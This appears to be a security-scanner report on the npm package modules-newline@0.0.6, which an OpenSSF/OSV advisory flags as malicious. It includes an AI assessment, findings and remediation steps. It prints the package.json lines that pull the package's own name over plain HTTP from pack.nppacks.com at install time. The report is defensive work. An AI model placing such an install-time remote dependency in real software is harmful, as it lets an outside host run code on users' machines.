modules-newline
NPM
This report shows the evidence for modules-newline@0.0.6, the only known version.
OpenSSF/OSV Malicious Advisory
imported 2mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-14483 confirms this npm version as malicious.
Advisory
MAL-2026-14483
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in modules-newline (npm)
Details
package.json declares the package's own name, modules-newline, as both a dependency and devDependency pointing to http://pack.nppacks.com/npm/modules-newline instead of the npm registry. On npm install, npm fetches and installs whatever tarball is currently served from that URL, bypassing registry auditing. The URL is plain HTTP (subject to MITM substitution), unpinned (no tag, commit, or integrity hash), and hosted on a non-publisher domain unrelated to npm. Any project that installs this package, directly or transitively, executes code delivered from that external endpoint at install time, including any lifecycle scripts inside the fetched tarball. The shipped index.js is a near-verbatim copy of babel-plugin-transform-define preceded by a comment stating 'This package use for Security Research Testing Purpose.', and the package name does not correspond to the copied plugin's function.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The self-referential HTTP dependency is a concrete supply-chain risk, but the inspected source contains no payload or direct malicious execution. Warn rather than block.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing dependencies
Impact
A network attacker or remote host could substitute fetched package content.
Mechanism
HTTP remote dependency resolution
AI rationale
The self-referential HTTP dependency is a concrete supply-chain risk, but the inspected source contains no payload or direct malicious execution. Warn rather than block.
Evidence
package.jsonindex.js
Network endpoints1
pack.nppacks.com/npm/modules-newline
Independent scan evidence
public snapshotAI called this Suspicious at 91.0% confidence as Unknown with medium false-positive risk.
Evidence for AI warning decision
- Manifest fetches this package name from an unencrypted HTTP URL in both dependency sections.
Evidence against
- No install, preinstall, or postinstall lifecycle hook is declared.
- index.js only exports a Babel-style AST replacement plugin.
- Source has no filesystem writes, child-process use, credential harvesting, or network calls.
Behavioral surface
HttpDependency
Source & flagged code
1 flagged · loading sourcepackage.jsonView file
9"dependencies": {
"axios": "^1.7.9",
"lodash": "^4.17.21",
"node-fetch": "^3.3.2",
"modules-newline": "http://pack.nppacks.com/npm/modules-newline",
"traverse": "^0.6.11",
"ws": "^8.18.0"
},
"devDependencies": {
"modules-newline": "http://pack.nppacks.com/npm/modules-newline"
High
Suspicious Dependency Evidence
Manifest fetches this package name from an unencrypted HTTP URL in both dependency sections.
package.jsonView on unpkg · L9Findings
1 High1 Medium1 Low
HighSuspicious Dependency Evidencepackage.json
MediumHttp Dependency
LowScripts Present
Affected versions and remediation
This report applies to modules-newline@0.0.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing modules-newline@0.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.